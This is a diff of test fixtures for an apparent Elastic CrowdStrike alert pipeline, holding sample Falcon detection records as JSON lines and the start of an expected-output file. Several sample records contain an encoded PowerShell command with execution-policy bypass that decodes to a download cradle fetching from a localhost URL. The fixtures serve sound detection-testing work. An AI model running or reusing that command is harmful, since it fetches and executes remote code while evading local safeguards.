1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} +{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} +{"attack_types":["Defense Evasion"],"aws_access_key_id":"ASIA****************","aws_recipient_account_id":"XXXXXXXXXXXX","aws_user_account_id":"XXXXXXXXXXXX","cid":"bdc3e3474d8848f1**************","cloud_account_id":"XXXXXXXXXXXX","cloud_provider":"aws","cloud_region":"us-east-2","composite_id":"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","crawled_timestamp":"2026-01-27T20:34:47.330975395Z","created_timestamp":"2026-01-27T20:34:47.330964263Z","data_domains":["Cloud"],"device":{"service_provider":"aws","service_provider_account_id":"XXXXXXXXXXXX"},"display_name":"VPC flow logs disabled","event_category":"Management","event_count":1,"event_id":"09a917ca-d430-4cd2-ae55-ceaec7e7dc94","event_name":"DeleteFlowLogs","event_source":"ec2.amazonaws.com","event_type":"AwsApiCall","falcon_host_link":"https://falcon.us-2.crowdstrike.com/unified-detections/","fcs_vertex_id":"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa","first_timestamp":"2026-01-27T20:25:22.94Z","id":"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","last_timestamp":"2026-01-27T20:25:22.94Z","mfa_authenticated":"true","mitre_attack":[{"pattern_id":2036,"tactic_id":"TA0005","technique_id":"T1562.008","tactic":"Defense Evasion","technique":"Impair Defenses:Disable Cloud Logs"}],"name":"VPC flow logs disabled","origin_cid":"bdc3e3474d8848f1**************","pattern_id":2036,"policy_id":"206","policy_statement":"VPC flow logs disabled","poly_id":"","product":"fcs","request_parameters":"{\"DeleteFlowLogsRequest\":{\"FlowLogId\":{\"content\":\"fl-***************\",\"tag\":1}}}","resource_gcrn":"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************","resource_uuid":"","response_elements":"{\"DeleteFlowLogsResponse\":{\"requestId\":\"\",\"unsuccessful\":\"\",\"xmlns\":\"http://ec2.amazonaws.com/doc/2016-11-15/\"}}","seconds_to_resolved":0,"seconds_to_triaged":0,"service":"VPC","severity":40,"severity_name":"Medium","show_in_ui":true,"source_account_name":"elastic-siem","source_ip_address":"34.194.234.218","source_products":["Falcon Cloud Security"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Impair Defenses:Disable Cloud Logs","technique_id":"T1562.008","timestamp":"2026-01-27T20:34:37Z","type":"cloud-ioa","updated_timestamp":"2026-01-27T20:34:47.330964263Z","user_agent":"","user_display_name":"user@example.com","user_name":"user@example.com","user_principal_id":"AIDA*************"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json new file mode 100644 index 0000000000..f5b6831dd2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json @@ -0,0 +1,2133 @@ +{ + "expected": [ + { + "@timestamp": "2023-11-03T18:00:22.328Z", + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "overwatch_note": "Activity Notice: OverWatch has observed XYZ", + "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, 